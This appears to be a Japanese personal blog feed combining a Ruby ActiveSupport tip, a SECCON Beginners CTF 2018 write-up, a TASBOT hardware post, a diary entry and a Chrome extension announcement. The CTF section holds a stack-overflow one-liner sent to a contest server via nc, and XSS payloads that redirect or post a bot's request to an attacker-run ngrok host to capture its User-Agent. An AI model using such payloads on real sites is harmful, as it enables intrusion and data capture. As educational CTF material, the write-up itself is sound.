ActiveSupport 「空文字列の場合はデフォルト文字列」を三項演算子を使わないで解決する

ものすごく当たり前な話なんですが僕はなぜかずっと気づかなかったので記念として記事にします

qiita.com

対象が空文字列の場合は何らかデフォルトの文字列、空じゃなかったら対象をそのまま使うやつ

name.present? ? name : '名無し'

ActiveSupportを入れていると様々なメソッドが拡張されるけど、 Object#presence メソッドが生える

github.com

def presence
  self if present?
end

なのでこうできる

name.presence || '名無し'

JSだと空文字列はfalse判定なので直接文字列と||を並べてしまえばいいが、Rubyの空文字列はtrueと判定される

そのためActiveSupportに頼らざるを得なくなる

やはりActiveSupportは便利、我々はRailsではなくActiveSupportを愛しているのである

SECCON Beginners CTF 2018 write-up

僕は全問解いていないので、全問揃ったWrite-upが見たい場合は他の方が書いたこのwrite-upがよさそうです → SECCON Beginners CTF 2018 Write-up - Qiita

SECCON Beginners CTF 2018 にチーム SQUID として参加しました

「チーム名はいかした名前がいいよね」ということで決まったチーム名でした

1343点で43位でした

はじめてのチーム参加でしたが、自分ひとりだけの知恵で戦う必要がなく、とても良い体験でした

僕は16問中11問解き、今回の記事では解いたものに関してのwrite-upを記述しています

f:id:naari_3:20180527140029p:plain

Crypto

[Warmup] Veni, vidi, vici はチームの zzuf が解きました Streaming はチームの taryan が解きました

この分野ほんとうにわからんし一番望みがないものだったのでありがたい :pray:

RSA is Power

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

そんなに大きくない桁のRSA暗号でした

N素因数分解すれば良いので msieve に通します

$ ./msieve -q -v -e 97139961312384239075080721131188244842051515305572003521287545456189235939577

~中略~

memory use: 2.6 MB
lanczos halted after 408 iterations (dim = 25732)
recovered 17 nontrivial dependencies
prp39 factor: 299681192390656691733849646142066664329
prp39 factor: 324144336644773773047359441106332937713
elapsed time 00:02:34

というわけで

P = 299681192390656691733849646142066664329
Q = 324144336644773773047359441106332937713

あとはCを復号します

import rsa
import binascii

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

P = 299681192390656691733849646142066664329
Q = 324144336644773773047359441106332937713


D = rsa.key.calculate_keys_custom_exponent(P, Q, E)[1]

plain = pow(C, D, N)

print(binascii.unhexlify(hex(plain)[2:]).decode('utf-8'))

ctf4b{5imple_rs4_1s_3asy_f0r_u}

Pwn

1問しか解いてません

1問解けたので満足しています

pwnはそれぞれサーバーのバイナリが用意されていました

[Warmup] condition

接続すると

Please tell me your name...

となり、 文字列を入力すると

Please tell me your name...testtest
Permission denied

となる

配布されているバイナリを逆アセンブルすると

   0x0000000000400796 <+37>:   mov    eax,0x0
   0x000000000040079b <+42>:   call   0x400620 <gets@plt>
=> 0x00000000004007a0 <+47>:   cmp    DWORD PTR [rbp-0x4],0xdeadbeef
   0x00000000004007a7 <+54>:   jne    0x4007bf <main+78>

こんな感じで、getsで取得したバッファの後に 0xdeadbeef が入って入ればフラグが表示されるように分岐されるようなので、

python -c 'print "a" * 44 +"\xef\xbe\xad\xde"' | nc pwn1.chall.beginners.seccon.jp 16268

ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}

Reversing

前までこのレベルでもうんともすんとも言わなかったので、今回は2つ解けてよかったです

BBSにも挑戦したのですが、 system にどうやって /bin/sh を渡すか分からず…

ROPを使うらしいが、そのROPの手法がよく分からなかったです、無念

[Warmup] Simple Auth

アセンブルすると入力された文字列とそのまま比較してる箇所があったので、それが答えでした

  4006a8:   c6 45 d0 63             mov    BYTE PTR [rbp-0x30],0x63
  4006ac:   c6 45 d1 74             mov    BYTE PTR [rbp-0x2f],0x74
  4006b0:   c6 45 d2 66             mov    BYTE PTR [rbp-0x2e],0x66
  4006b4:   c6 45 d3 34             mov    BYTE PTR [rbp-0x2d],0x34
  4006b8:   c6 45 d4 62             mov    BYTE PTR [rbp-0x2c],0x62
  4006bc:   c6 45 d5 7b             mov    BYTE PTR [rbp-0x2b],0x7b
  4006c0:   c6 45 d6 72             mov    BYTE PTR [rbp-0x2a],0x72
  4006c4:   c6 45 d7 65             mov    BYTE PTR [rbp-0x29],0x65
~省略~
  400700:   c6 45 e6 72             mov    BYTE PTR [rbp-0x1a],0x72
  400704:   c6 45 e7 64             mov    BYTE PTR [rbp-0x19],0x64
  400708:   c6 45 e8 7d             mov    BYTE PTR [rbp-0x18],0x7d

ctf4b{rev3rsing_p4ssw0rd}

Activation

この問題の FLAG は ctf4b{アクティベーションコード} です。

exeが降ってきてギョッとした、まだ慣れない…

file で見てみると.Netだったので dnSpy に入れます

ちょっと前まではILSpyを使ってたけどdnSpyのほうが見やすいしいいのでこっちを使いましょう

どうやら文字列が軽く暗号化されており、先にこれを復号しておく必要がありそうだったので複合する

f:id:naari_3:20180527144125p:plain
暗号化された文字列の図

数百程度の要素を持つbyte型の配列に対して以下のような感じで復号

crypted_list = [] # ここにbytes型(PythonではInt型)の要素が入る

decrypted_list = []
for i, c in enumerate(crypted_list):
    decrypted_list.append((j ^ i ^ 170) % 256)

print "".join(map(lambda x: chr(x), decrypted_list)) # 読める文字列

C#で取得されるときはこんな感じで、

public static string a()
{
    return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[1] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(1, 15, 35);
}
  • 用意されたstring型配列のindex 1に要素があれば返す
  • なければさっき復号した文字列の15番目から35文字を取り出して返す

といったものだったので、これ以降文字列を取る際はさっき復号した文字列から取ることになります

次に起動されてからアクティベーションコードが認証までを探ります

  • ドライブ一覧を取得
    • ルートディレクトリ内で *.* というルールでファイルを取得
    • いずれかのファイルが SECCON_BEGINNERS と等しければ flag変数を true にする
  • flag変数が false なら終了
  • AesCryptoServiceProviderのインスタンスを作成
    • BlockSize = 128
    • KeySize = 256
    • IV = "CTF4B7E1" + "CTF4B7E1"
    • Key = "SECCON_BEGINNERS"
    • Mode = CipherMode.ECB
    • Padding = PaddingMode.PKCS7
  • ユーザーが入力した文字列を上のAesCryptoServiceProviderで暗号化、base64した結果が E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5 と等しければ認証成功

といった感じでした

やることは簡単で、E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5を復号した結果が正しいアクティベーションコードなので、復号します

using System;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;

public class Hello{
  public static void Main() {
    AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
    aesCryptoServiceProvider.BlockSize = 128;
    aesCryptoServiceProvider.KeySize = 256;
    aesCryptoServiceProvider.IV = Encoding.ASCII.GetBytes("CTF4B7E1" + "CTF4B7E1");
    aesCryptoServiceProvider.Key = Encoding.ASCII.GetBytes("SECCON_BEGINNERS");
    aesCryptoServiceProvider.Mode = CipherMode.ECB;
    aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
    byte[] criptedBytes = Convert.FromBase64String("E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5");
    byte[] inArray = aesCryptoServiceProvider.CreateDecryptor().TransformFinalBlock(criptedBytes, 0, criptedBytes.Length);
    string plaintext = Encoding.ASCII.GetString(inArray);

    Console.WriteLine(plaintext);
  }
};

ctf4b{ae03c6f3f9c13e6ee678a92fc2e2dcc5}

Web

[Warmup] GreetingSECCON Goods は zzuf が解きました SECCON Goods に関しては問題鯖に対して sqlmap を撃ってflagを出したらしいです

Gimme your comment

このブラウザの User-Agent が分かった方には特別に得点を差し上げます :-)

付与されたjsを見ると、 puppeteer が動いており、

  • コメント投稿後にコメントのページに移動
  • input[name="comment_content"]投稿ありがとうございます。大変参考になりました。 と入力
  • button[type=submit] をクリック

というように動いていました

入力したコメント本文がエスケープされずそのままhtmlに貼られたので、自前で適当なサーバーを作ってそこにリダイレクトさせます

from flask import Flask, request
app = Flask(__name__)

@app.route('/')
def hello():
    name = "Hello World"
    print request.headers.get('User-Agent')
    return name

if __name__ == "__main__":
    app.run(debug=True)
$ ngrok http 5000
# Forwarding にngrokドメインのurlが貼られるのでそれを使う
<script>location.href = 'http://{Forwardingの文字列}.ngrok.io';</script>

ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}

Gimme your comment REVENGE

1つ前のものと比べ、基本的な動きや puppeteer で動くクライアントのソースコードは全く変わっていませんでした

同じくコメント本文はエスケープされなかったのでとりあえず同じようにXSSを狙うと、次のようなエラーが出ます

Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-dtZQXTtwWaTWzlzbWQI5YFQO/v4LWqNq9cqtOQ8D9nI='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

ヘッダにある Content-Security-Policy: default-src 'self' によってこうなるらしいです、こんなの初めて知った…

ただ前回と同じくエスケープはされないため、コメントでもう1つ <form><button> を用意して、それを押してもらいます。

<form method="post" "http://{Forwardingの文字列}.ngrok.io/comments">
  <input type="text" name="comment_content">
  <button type="submit">コメントを送信する</button>
</form>

自前のサーバー側も少し手を加えます

@app.route('/comment', methods=['POST'])
def comment():
    name = "comment"
    print request.headers.get('User-Agent')
    return name

ctf4b{d3f4ul7_5rc_15_n07_3n0u6h}

Misc

[Warmup] Welcome

フラグは公式IRCチャンネルのトピックにあります。

とのことで、ルールのページに記載されていたIRCチャンネルにログインすると表示されました

本当にめちゃくちゃ久々にIRCを触った…

[Warmup] plain mail

pcapファイルがあり、平文でのメールのやりとりがキャプチャされていました

フラグになるっぽいメール本文は2つあり、片方はzipつき、もう片方は you_are_pro という本文でした

zipは鍵がかかっており、パスワードを尋ねられたので you_are_pro と入力したら解凍できました PRO

ctf4b{email_with_encrypted_file}

てけいさんえくすとりーむず

$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690
Welcome to TEKEISAN for Beginners -extreme edition-
---------------------------------------------------------------
Please calculate. You need to answered 100 times.
e.g.
(Stage.1)
4 + 5 = 9
...
(Stage.99)
4 * 4 = 869
[!!] Wrong, see you.
---------------------------------------------------------------
(Stage.1)
869 + 924 = 1793
(Stage.2)
665 * 677 = a
[!!] Wrong, see you.

こういうやつでした、愚直に解くものを書きます

from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690))

while True:
    text = s.recv(4096)
    print text

    prob = text.split('\n')[-1]

    ans = eval("".join(prob.split(' ')[:3]))
    print ans

    s.send("{}\n".format(ans))

ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}

Find the messages

disc.img というバイナリが配布されます

$ file disk.img
disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, start-CHS (0x1,22,31), end-CHS (0x63,36,30), startsector 2046, 129024 sectors

mountできるものではなさそうなので、 testdisk を使ってファイルを取り出します

f:id:naari_3:20180527154940p:plain

[Proceed] -> [Intel] -> [Analyse] -> [Quick Search] -> 見たいパーティションの上で P とすると内部のディレクトリを覗くことができます

f:id:naari_3:20180527155630p:plain

A ですべてのファイルを選択し、C でコピーに移り、保存先を指定できるので適当なディレクトリを指定します

$ tree
.
├── lost+found
├── message1
│   └── message_1_of_3.txt
├── message2
│   └── message_2_of_3.png
└── message3
    └── message_3_of_3.pdf

4 directories, 3 files

message{1,2,3}のそれぞれにフラグの欠片のようなものがあるので見ていきましょう

$ cat message_1_of_3.txt | base64 -d
ctf4b{y0u_t0uched

1つ目はbase64エンコードされたものでした

ctf4b{y0u_t0uched

$ file message_2_of_3.png
message_2_of_3.png: data

2つ目はpngかと思いきやそうではないようです

バイナリエディタで見てみると、マジックナンバーX で埋められているので正しいマジックナンバーに直します

f:id:naari_3:20180527161158p:plain
左:欠損png, 右:正常png

開くことができました

f:id:naari_3:20180527162943p:plain

_a_part_0f_

そのまま3つ目を探ろうとしましたが、 message_3_of_3.pdf は0バイトでした

別のツールを使ってpdfだけ抽出してみます

$ foremost -t pdf -i disk.img
foremost: /usr/local/etc/foremost.conf: No such file or directory
Processing: disk.img
|*|
$ tree ./output
./output
├── audit.txt
└── pdf
    └── 00018946.pdf

こちらは正しそうなpdfで、開くことができました

f:id:naari_3:20180527162327p:plain

disk_image_for3nsics}

ということでフラグは以下のとおりです↓

ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}

TASBOTを作ったという趣旨の記事をQiitaと第2のドワンゴAdvent Calendarに投稿した

はじめに

qiita.com

こういう記事を書きました。SFCのTASBOTを作る試みを書いています。

qiita.com

このカレンダーの13日目に登録されています。

遅刻

記事投稿(ゴール)を 1P, 2P共に4コンまで操れるようになること としていたのが、単純に時間の見誤りで余裕ぶっこいてたら期日が迫っていたというわけになります。

当日までには既に1P1コンのみを操るようなものは出来ていたため、残りをどうにか頑張ろうと当日の夜中までTASBOTの実装をしていたわけですが、これは今日明日中には無理だと気づいた時には既に13日は終わっていました。

もうしわけない

出来

ただ、1P2P各4コンまで使うTASの方が少ないくらいなので、それ以外のTASのリプレイファイルは割りと再生できたし、それっぽい動画をYouTubeにアップロードすることも出来たのでよかったと思っています。

www.youtube.com

これは充分人外の動きなのですが、ここまで来たのであればルールの議論が熱くなった原因である「任意コード実行」のカテゴリのものをどうにか動かしたいと思っています。

現状、SFCコントローラーの内部に使われている4021というロジックICふたつをArduino上で雑に模倣しているのですが、Arduinoのクロック数がそんなにおおくないために合計8つのコントローラーの動きを同時に操れないのではないかと不安視しています。

具体的には8つのコントローラーを模倣するためには1つのコントローラーを模倣する場合の最低4倍の時間が必要なことがわかっているため、厳しめな勝負になりそうです。

あとInterruptに依存しまくっているのですが、今実行環境として使っているArduino UnoだとInterruptのピンの数が少なく、かといってピン数が比較的多いMEGA2560を使ってみると何故かUnoより遅めに動いているように見えるので、まずはそこから解決したいところです。

いずれにせよ、全体を通して電子工作のちしきがなくて辛かったです。

公開

全くwebと関係ない記事を投稿したし、おそらくみんな興味ないだろうが、技術系の記事であるために文句はないはず

太陽が輝いい

生活

なんやかんやで生活をしているけど一人で生活するのってまじで難しい

一人で生活することで困っている部分があり、生活リズムがすごく乱れがちになるという所です

遅刻大連発しまくって社員へのアップグレード当時に怒られが発生したりした

これについては夜カーテンを開けて寝ることにより、光で起きることができるんだなぁ〜〜〜たまげたなぁたまげたなぁです

わりとまじ

自炊

したくなったり、したくなくなったりするので冷蔵庫が賞味期限切れ陳列棚と化してしまう、やばいしもったいなさで死にそうになる

掃除やゴミ

親の元で生活していた時から掃除整理整頓が苦手で、ゴミ屋敷さながらのヤバい空間で生活をしていてやばい

ハウスダストのアレルギーがつらいのに汚いのでほんとうにやばい

それとゴミ捨ての方法がわからんので家にペットボトルと缶が大量に溢れかえっている

今自分のいる場所から顔を水平方向に動かしたが、どの方向にも必ずペットボトルがあってやばい

誰か助けてください

家に帰っても誰もいない時

😢

仕事

やばい

言う

雰囲気で進めてしまう部分が多くあり、咄嗟に説明を求められると何も言えなくなるのでやばい

なんかフニャフニャとして生きているのが本当にやばくて、どうすればいいかわからない

絶対こっちのほうが良いけど反論されると何も言えない所、本当に何も考えてないんじゃないかと不安になる

地力

すごくきついのではないか?

同じくして入った彼には軽く憧れを抱くほどになってしまった

にしてもやばく、まじでどうにかしたい、Web業界向いてないんじゃないか?とかミリ思ったりするが、仕事として向き合っているからなのかもしれない

あとは基本的な考え方の欠如???これもしかしたら「言う」にも共通して言えるのかもしれないですね

Wakaranaiコミットしている

がんばっている

基本自分が悪いからなあ、逆に振り切ることが出来て素直な反省ができる

でもやっぱり自分が本当に無意識にマイペースで最悪なので本当に嫌だ

趣味

全体的にプラス

DJした、いい

曲をつくる、いい

聞く、いい

知り合いができた、何故か知られていた、いい

やばい

ぷろぐみぐゆ

TASBOT前座、SFCコントローラを作った

これについてLTをしたが、5分が短く、最悪早口ゴミLTをしてしまった

しっかり説明をしたいが、趣味Queueは一杯だ

それとさっさとRailsのアプリを作りたいのと、とあるゲームのエミュ鯖開発の緒が掴めたのでしっかり開発したい

ゲーム

なんか全然ゲームしなくなってしまった、ゲームに対する愛情が薄れているのがわかる

コントローラ新しく買ったのにもかかわらず音ゲーしなくなった

SMWもちょっとやってない、ただ改造系(JUMPとか)の動画を見ることはしてる

あとSM64のRTAとTASの行く方向を見ている、こっちは楽しい

あとSwitchはすごく欲しいし、ゼルダとマリオやりたい

やっぱり僕はマリオが好き

雑コンテンツに対する所感

前より貪る様になったため、食わず嫌い感が出てきた

餞別のためには良いことなのだろうがどうなんだろう

vim

人のvagrant環境を拝借して起動したらneovimが入っていて、ちょっと触ったが良かった

こっちで慣れることが出来ると捗りそうだなぁって思ったが、今の僕の中ではやむを得ずコンソールでしかコードが書けない場合にのみvimを使っており、もしvimに慣れてバリバリカスタマイズしだしたら人のコンソールでvimできなくなっちゃうのではないかと不安になる

Twitter

やはりTwitterは嫌い

多分自分の使い方が悪いのが良くないんだけど、伸びたツイートに存在するリプは7割程嫌いだし、知らない身内ネタを見ることに対する嫌悪感がある

「フォロー整理」「ミュート」などを使うと良いということを教えてもらったが、僕の中でのTwitterが雑多なコンテンツが勝手に流れていくものだという謎の決めつけがあり、そのコンテンツの振り幅がとても狭いとちょっとやだで、多分新しくアカウントを作ったとしてもよくわからんBOTとかフォローしまくるんだろうなと思っている

僕はTwitterを使いこなすことは出来ないだろうなと思う

Webhookになるらしいしわからんですね

そいえばPythonあたりで最強Twitterクライアント作りたいなと思ったがWebhookになるなら無理じゃないか?

Twitterのなんかのクライアント用にStreamっぽいものを提供できるサードパーティ製なにかを作ってくれないかなあ、技術的なものは何も考えてないけどだれかがそれっぽいことしてくれればいいよ

friends.nico

ちょくちょく見ているマストドンインスタンス

ニコニコの陽の雰囲気ライクな空間になっていて、割りとやさしい世界が広がっていてすごく好き

ただ、それなりに居座るようなことはやはり出来ず、忘れた頃に適当に思い出してログインする程度に収まっている

ニコニコ動画

相変わらず動画の読み込みは遅く、昔日課にしていた「音MAD」タグ漁りとか「例のアレ」みるとかあまりしなくなった

最近わけあって幕末志士の動画を見ていたが、やはり面白く、あの二人に叶うニコニココンテンツは存在しないだろうと思っている

あと僕は多分旧い言い方?でいうところの萌えがそんなに好みではなく、むしろそのコンテンツに群がる方々のせいで嫌悪してしまうので、そういうのが好きだと色々楽しいんだろうなあと最近すごく思った(NYNICGとかそういうの気持ち悪くて嫌い)

2ch 5ch

やめてくれ

もう僕の知っているあの掲示板はなくなったのか

それはそうとしてやっぱり嫌儲は良い

すごく見やすいしあの感じの「最悪」加減が本当に居やすいし楽しい

素晴らしいものを産んだよねあの人、金の問題って難しいなって思う

おわりに

最近金があってすごく浪費してしまう

5万くらいするMIDIキーボード一個買ってしまいたいし、VSTiにも10万くらい使いたく、貯金ができない

ただ学生時代に出来なかった、趣味への没頭が出来ている

すごく良い

仕事をまともにしていればもう個人的に満足いけるんじゃないかなあって思った

もう遅刻したくないね

ニコニコ動画のマイリスト登録を動画視聴ページ内で完結できる拡張機能 Nico Mylist Add Contener

chrome.google.com

ニコニコ動画はマイリスト登録のときに別タブに左遷させるのをやめろ

これに尽きる

概要

ニコニコ動画の動画視聴ページから画面左遷をすることなく、マイリスト登録ができます。もちろんマイリストコメントつき

f:id:naari_3:20170630231345p:plain

f:id:naari_3:20170630231429p:plain

flash版は対応が雑です。ページの作りがよくわからなかったからです。

chrome.google.com

経緯

人間だったら一度はマイリスト登録したい時ってあるとおもうんですけど、ニコニコ動画のマイリスト登録というのは、別タブや別ウィンドウに飛ばされて、その先で登録する場所、登録時コメントを入力することになります。

この飛ばされた先の画面って全く情報がなく、一つのセレクトボックス、一つのテキストエリア、二つのボタンだけで出来ているんですが、わざわざ別ページとして設ける必要があるのか?と常々疑問に思っておりました。

さて、ニコニコ動画なのですが、例えば http://www.nicovideo.jp/my/mylist を開いた際に、ソースコード内に NicoAPI.token とかいうのが記述されています。

これは本当にそのままで、ニコニコ動画の各種アクションを行う際に必要なものになっているようです。(公式にはなんの記述もされてないです)

もちろんのこと、マイリスト関連の操作(e.g. http://www.nicovideo.jp/api/mylist/add)もできるわけなので、僕らで何かを設けてあげれば、それはもう自由自在にマイリスト登録ができるのではないかと考えました。

それで作ったのがこの拡張機能です。

実装

jQueryでDOMをゴリゴリと追加しているだけです。

今日のドワンゴエンジニアのハッカソンで色々手直ししようと思っていたのですが、本当に読みづらいコードになってしまっており、とても暫定的な雑な手段で一番気になっていた変な挙動を修正しました。

というエピソードができたくらいとても雑で、時間とモチベがあるなら1から書き直したいくらいです。

一つの完結した機能を持ったものなので、Vue.jsとか使ってゴリゴリさせたいという気分があるのですが、如何せん詳しくないので知見を溜めつつ実装したいなと思います。

あとはcookieを取得するという動作はbackgroundを使わないと実現できない(語弊ありそう)らしいので、sendMessageとaddListenerでうまくcookieをフロントに渡すようにしています。よくできた機構だなあと思います。

Contenerというのは自分が英語に弱いことが原因で発生したtypoです。

なんで今公開したのか

実はこのコードですが、去年のクリスマスイブに一気に書き上げたもので、chromeのstoreには公開していませんでした。

今回、ドワンゴエンジニアのハッカソンがあると聞いて、黙々と趣味プログラミングができるのであれば何か公開できるものがいいなと考えた所、まだ公開していないこの拡張機能があったので、先程言及したバグ取りをした後に手書きアイコン*1を追加して公開することで、ハッカソンの成果とすることにしました。

実質3行の修正とアイコン*2を描いたくらいの変更なので、時間が余ってしまいましたが、その部分は別のスクリプトを書くことで時間の消費をしていました。

理由はどうであれ、個人的にとても好きで、いつも使っている拡張機能なので、公開まで踏み切れて少し嬉しいです。

もしよければ使ってください。

chrome.google.com

また、OSSなので勿論PRも受け付けています。汚いコードが好きな方は見てみると良いかと思います。そのうちガラッと一新するので汚いのも今のうちだけですよ

github.com

ほんとにつかいやすいので是非

chrome.google.com

*1:f:id:naari_3:20170630233316p:plain

*2:f:id:naari_3:20170630233316p:plain